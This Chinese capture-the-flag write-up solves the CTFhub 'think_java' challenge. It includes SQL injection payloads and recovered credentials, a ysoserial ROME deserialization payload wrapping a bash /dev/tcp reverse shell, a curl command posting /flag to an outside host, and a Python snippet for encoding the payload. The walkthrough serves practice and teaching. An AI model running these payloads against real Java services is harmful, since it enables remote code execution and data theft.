Ctfhub-think_java-2020网鼎杯-朱雀组

目录

1、打开靶机

2、分析

3、注入得账号密码

4、发现java反序列化漏洞

5、反弹shell拿flag 


唉,做ctfhub这道题的时候,发现网上几乎都是跟风用的

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl xx.xx.xx.xx:xxxx -d @/flag" | base64 -w 0

这个命令来直接读取根目录下的flag,我看了buuctf上的这道题因为flag就在跟目录下,flag的名称并没有变化,故可以直接读到flag。

但ctfhub上这道题,题目已经提示了flag在根目录下,且flag名字是随机的,故用该方法并不能直接读取到flag,所以只有反弹shell的命令来cat flag。

1、打开靶机

        1.1、下载附件

        附件为.class文件

        用jd-gui打开

        

2、分析

        Swagger
Swagger 是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。总体目标是使客户端和文件系统作为服务器以同样的速度来更新。文件的方法,参数和模型紧密集成到服务器端的代码,允许API来始终保持同步。
Swagger UI 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。

访问/swagger-ui.html页面,得到如下三支接口
/common/user/current
/common/user/login
/common/test/sqlDict

查看源码,存在sql注入,当前表为myapp

3、注入得账号密码

sql注入payload:

获取username:

myapp?jilei=1' union select name from user #

        username:ctfhub

 获取password:

myapp?jilei=1'  union select pwd from user #

 password:ctfhub_13788_6908

登录验证:

登录成功,并且data返回的数据包为:

Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==

4、发现java反序列化漏洞

rO0AB格式为java序列化->base64的格式所以可能会有反序列化漏洞

将data数据上送给获取当前用户接口,发现请求成功,并返回了当前用户的用户名,因此判断该接口中进行了Java对象的反序列化。

5、反弹shell拿flag 

因为题目提示flag在根目录且名字为随机的,故只有反弹shell然后cat flag

利用到的工具:ysoserial

反弹shell:

bash -i >& /dev/tcp/自己服务器的ip/端口 0>&1
将上面命令base64加密之后得到:
YmFzaCAtaSA+JiAvZGV2L3RjcC/oh6rlt7HmnI3liqHlmajnmoRpcC/nq6/lj6MgMD4mMQ==
反弹shell:
java -jar ysoserial-all.jar ROME "bash -c {echo,编码后的内容}|{base64,-d}|{bash,-i}" > 1.bin
因为序列化之后得到的1.bin是二进制文件,故这里还需要编码为base64格式

 bin转base64代码

import base64
fin = open(r"1.bin", "rb")
fout = open(r"payload.txt", "wb")
base64.encode(fin, fout)
fin.close()
fout.close()

nc监听2333端口

 利用工具进行java序列化

 得到一个1.bin的文件

 再将该文件进行base64加密

 得到反弹shell的payload

 

 将该payload的值传进/common/user/current

进行反弹shell

注意:要在前面加上Bearer

执行之后成功弹回shell

 查看flag

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值